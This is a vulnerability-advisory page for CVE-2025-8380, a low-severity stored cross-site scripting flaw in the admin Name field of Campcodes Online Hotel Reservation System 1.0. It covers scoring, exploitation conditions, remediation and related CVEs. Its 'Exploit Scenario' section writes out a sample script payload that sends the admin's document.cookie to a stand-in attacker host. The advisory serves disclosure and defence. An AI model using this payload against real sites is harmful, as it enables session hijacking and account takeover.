Skip to main content

Campcodes Online Hotel Reservation System CVE-2025-8380

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-31 cna@vuldb.com
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker obtains or guesses admin credentials
  2. Delivery
    Logs into /admin interface
  3. Exploit
    Submits XSS payload in Name parameter
  4. Install
    Payload stored in database
  5. C2
    Admin views affected record
  6. Execute
    JavaScript executes in admin browser
  7. Impact
    Attacker steals session token or modifies data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) Valid login credentials to the administrative interface (/admin path), meaning the attacker must either possess valid admin credentials or trick an admin into performing an action; (2) The Name parameter must be processed by /admin/add_query_account.php without input validation or output encoding; (3) User interaction (UI:P) - the victim must visit or interact with a page that reflects or stores the injected script; (4) A modern browser capable of executing JavaScript in the admin session context. Exploitation is BLOCKED if: the /admin path is network-restricted or requires multi-factor authentication beyond basic login, Content Security Policy headers are implemented to block inline scripts, or if the application encodes output properly. The requirement for authentication and user interaction significantly reduces the attack surface compared to unauthenticated remote code execution vulnerabilities.

Impact

The real-world risk is MODERATE-TO-LOW despite public exploit availability. CVSS 4.0 metrics reveal critical limiting factors: PR:L (login required), UI:P (user interaction required), and VI:L (integrity impact only, with VC:N/VI:L/VA:N indicating no confidentiality or availability impact). EPSS score of 0.05% (16th percentile) indicates very low probability of widespread automated exploitation, suggesting this is primarily a targeted risk against organizations running this specific legacy system with attackers who possess valid admin credentials or can socially engineer interaction. The attack chain requires both authentication and user click-through, substantially reducing risk compared to network-accessible remote code execution. However, stored XSS in admin interfaces can compromise account security and enable lateral movement; organizations using this system should treat it as a real but lower-priority vulnerability relative to unauthenticated remote attacks. No active exploitation (KEV) has been confirmed, distinguishing this from actively weaponized threats.

Exploit ScenarioDerived

An authenticated administrator receives a phishing email or social engineering message containing a link to the hotel reservation system's admin panel with a pre-crafted malicious Name parameter (e.g., /admin/add_query_account.php?name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>). When the admin clicks the link and interacts with the page (UI:P), the stored XSS payload executes in their browser, exfiltrating session cookies or performing unauthorized account modifications. Alternatively, a low-privilege staff member with access to the admin panel manually injects the payload and tricks another admin into viewing the infected record.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Cross-site scripting (XSS) in Campcodes Online Hotel Reservation System 1.0 allows authenticated users to inject malicious scripts via the Name parameter in /admin/add_query_account.php, affecting the integrity of admin-level functionality. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), limiting direct remote exploitation to attackers with valid credentials; however, publicly available exploit code exists, and the CVSS 2.0 score with VI:L (integrity impact) reflects limited but confirmed damage potential in a stored XSS context.

RemediationAI

No vendor-released patch identified at time of analysis. Immediate mitigation requires: (1) Update to a patched version if available by contacting Campcodes support via https://www.campcodes.com/ or checking for security updates; (2) As an interim compensating control, restrict access to /admin/add_query_account.php using network-level access controls (firewall rules, IP whitelisting) to limit exposure to trusted administrators only; (3) Implement input validation and output encoding in the Name parameter handler - sanitize all user input using PHP htmlspecialchars() or equivalent HTML entity encoding before storage and retrieval; (4) Deploy a Web Application Firewall (WAF) with XSS detection rules to block script payloads in the Name parameter; (5) Disable admin functionality if the feature is not actively used. Each control has trade-offs: network restriction may hamper legitimate admin access from remote locations; WAF may generate false positives; sanitization requires code changes. Until a vendor patch is released, a combination of access restriction and output encoding is the most practical short-term defense.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a Stored Cross-Site Scripting (CWE-79) flaw in a PHP-based hotel reservation management interface. The /admin/add_query_account.php file fails to sanitize or validate the 'Name' input parameter before processing or storing it, allowing attackers to embed arbitrary JavaScript code that executes in the context of administrative sessions. This is a common weakness in legacy PHP applications that do not implement proper input validation, output encoding, or Content Security Policy headers. The affected system is a web-based reservation platform written in PHP, as indicated by the file path and the direct manipulation of admin interface parameters.

Know when Online Hotel Reservation System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability classified as problematic was found in Campcodes Online Hotel Reservation System 1.0. This vulnerability affects unknown code of the file /admin/add_query_account.php. The manipulation of the argument Name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:campcodes:online_hotel_reservation_system:1.0:*:*:*:*:*:*:*
CVE-2025-6355 MEDIUM POC
5.5 Jun 20

CVE-2025-6355 is a critical SQL injection vulnerability in SourceCodester Online Hotel Reservation System version 1.0, s

CVE-2025-8378 MEDIUM POC
5.5 Jul 31

SQL injection in the login endpoint of Campcodes Online Hotel Reservation System 1.0 enables unauthenticated remote atta

CVE-2025-6458 MEDIUM POC
5.5 Jun 22

CVE-2025-6458 is a critical SQL injection vulnerability in code-projects Online Hotel Reservation System version 1.0, af

CVE-2025-6457 MEDIUM POC
5.5 Jun 22

CVE-2025-6457 is a critical SQL injection vulnerability in code-projects Online Hotel Reservation System 1.0 affecting t

CVE-2025-6456 MEDIUM POC
5.5 Jun 22

CVE-2025-6456 is a critical SQL injection vulnerability in code-projects Online Hotel Reservation System 1.0, specifical

CVE-2025-6455 MEDIUM POC
5.5 Jun 22

CVE-2025-6455 is a SQL injection vulnerability in code-projects Online Hotel Reservation System version 1.0, specificall

CVE-2025-9789 MEDIUM POC
5.5 Sep 01

A vulnerability was identified in SourceCodester Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9),

CVE-2025-8470 MEDIUM POC
5.5 Aug 02

A vulnerability classified as critical was found in SourceCodester Online Hotel Reservation System 1.0. Rated medium sev

CVE-2025-8469 MEDIUM POC
5.5 Aug 02

A vulnerability classified as critical has been found in SourceCodester Online Hotel Reservation System 1.0. Rated mediu

CVE-2025-10843 MEDIUM POC
5.5 Sep 23

A flaw has been found in Reservation Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9), this vulnera

CVE-2025-11055 MEDIUM POC
5.5 Sep 27

A vulnerability was detected in SourceCodester Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9), th

CVE-2025-10789 MEDIUM POC
5.5 Sep 22

A vulnerability was identified in SourceCodester Online Hotel Reservation System 1.0. Rated medium severity (CVSS 6.9),

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy